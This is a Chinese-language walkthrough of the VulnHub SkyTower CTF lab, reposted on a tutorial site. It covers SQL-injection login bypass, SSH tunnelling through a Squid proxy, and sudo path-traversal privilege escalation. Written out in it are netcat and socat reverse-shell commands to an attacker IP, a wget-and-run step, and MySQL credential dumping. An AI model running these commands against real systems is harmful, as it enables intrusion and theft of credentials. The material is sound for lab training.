栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

vulnhub靶机-SkyTower-proxychains代理转发ssh-渗透测试11

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

vulnhub靶机-SkyTower-proxychains代理转发ssh-渗透测试11

11-SkyTower

靶机地址:https://www.vulnhub.com/entry/skytower-1,96/
靶机难度:中级(CTF)

信息收集 nmap
nmap 192.168.75.0/24 -sP

nmap -sS -sV -A -T4 192.168.75.20 
22 ssh
80 tcp
3128 http-proxy Squid http proxy 3.1.20

80
访问web页面
发现是个登陆界面 尝试sql注入
发现 是'闭合

3218
nmap 扫描得到 
3128端口开启了squid-http
Squid cache(简称为Squid)是流行最广的,使用最普遍的开源缓存代理服务器:
https://blog.csdn.net/qq_21419995/article/details/80888680
sql注入
尝试发现有过滤 无法sqlmap爆库
尝试字典爆破

https://github.com/melbinkm/SQL-Injection-Payloads/blob/master/sqli_auth.list

proxychains git clone https://github.com/melbinkm/SQL-Injection-Payloads.git  

利用burpsuite抓包拦截发送到->intruder进行sql注入爆破,为了确保选择email和password字段,攻击类型设置:pitchfork

payloads1和2选择同样的文本,并单击Start Attack!

发现长度为1838的是成功的

这里可以用 repeater发送
也可以在页面使用payload注入
Username: john
Password: hereisjohn

代理转发ssh
ssh john@192.168.75.20
无法连接 前面知道开启squid代理 需要代理

proxychains代理
	ProxyChains是Linux和其他Unix下的代理工具。 它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器, 并且可配置多个代理。
	ProxyChains通过一个用户定义的代理列表强制连接指定的应用程序, 直接断开接收方和发送方的连接。
	ProxyChains 是一个强制应用的 TCP 连接通过代理的工具,支持 Tor、HTTP、与 Socks 代理。
	与 sshuttle 不同的是,ProxyChains 只会将当前应用的 TCP 连接转发至代理,而非全局代理。
	参考文章
	https://zhuanlan.zhihu.com/p/166375631
vim /etc/proxychans4.conf
添加:http 192.168.75.20 3128
proxychains ssh john@192.168.75.20
发现连接后自动断开连接

参考文章 https://cloud.tencent.com/developer/article/1594881
ssh连接获得的是一个shell 
这里尝试是否可以执行命令
proxychains ssh john@192.168.75.20 -t id
可以执行

proxytunnel隧道代理
proxytunnel是一款利用http connection封装技术建立隧道的工具
使用条件:防火墙禁止DNS和ICMP隧道,只允许代理服务器上网的情景
proxytunnel -p 192.168.75.20:3128 -d 127.0.0.1:22 -a 1234  kali本地1234端口

将kali与项目的3128端口建立隧道,隧道建立的端口转发到项目本地的22端口,然后在映射到kali本地1234端口。

-a 指定本地侦听端口
-p 使用代理
-r 使用第二个代理
-d 指定访问的目标和端口

ssh john@192.168.75.20 -p 1234 -t id

绕过ssh
因为无法得到shell 
尝试绕过 查看是否具有条件
ssh john@127.0.0.1 -p 1234 -t which python
ssh john@127.0.0.1 -p 1234 -t which php
ssh john@127.0.0.1 -p 1234 -t which perl
ssh john@127.0.0.1 -p 1234 -t which nc

nc -lvp 5566
ssh john@127.0.0.1 -p 1234 nc 192.168.75.5 5566 -e /bin/bash

cd /
grep -rn "Funds have been withdrawn" 2>/dev/null
.bashrc:113:echo  "Funds have been withdrawn"

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

i选项是关闭的
这里面的命令导致结束shell!
.bashrc详解:
https://linux.cn/article-9298-1.html
http://c.biancheng.net/view/2767.html
pty方法
wget --no-check-certificate https://github.com/ernw/static-toolbox/releases/download/socat-v1.7.4.1/socat-1.7.4.1-x86_64 -O socat

python -m SimpleHTTPServer

wget http://192.168.75.5:8081/socat
chmod +x socat
HOME=/dev/shm ./socat tcp:192.168.75.5:7788 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane

补全命令 此时shell tty 未完全
script -qc bash /dev/null

sudo -l
成功回显

小技巧替换bashrc
sed -i 's/exit/echo/g' .bashrc

-i  直接修改文件
用sed将bashrc文件中的exit全部替换为echo!

或者head删除最后三行信息!
"head -n -3 .bashrc > .bashrc"

或者直接删除 bashrc 这样可以获得一个ssh shell
proxychains ssh john@192.168.75.20 -t rm .bashrc

重命名
proxychains ssh john@192.168.75.20 -t mv .bashrc .bashrc.bak
proxychains ssh john@192.168.75.20 -t mv .bashrc .bashrc.bak
proxychains ssh john@192.168.75.20

mysql枚举
这里面符合udf提权条件 但是无法使用
查看底层文件login.php
cd /var/www
cat login.php
root root

mysql -uroot -proot
show databases;
use SkyTech
show tables;
desc login
select * from login;

三个账号密码
john@skytech.com      hereisjohn   
sara@skytech.com      ihatethisjob 
william@skytech.com   senseable    

尝试登录
sara  ihatethisjob
可以登录
提权
proxychains ssh sara@192.168.75.20 -t mv .bashrc .bashrc.bak
proxychains sara john@192.168.75.20
ihatethisjob

sudo -l
sudo ls /accounts/../root
sudo cat /accounts/../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/851313.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号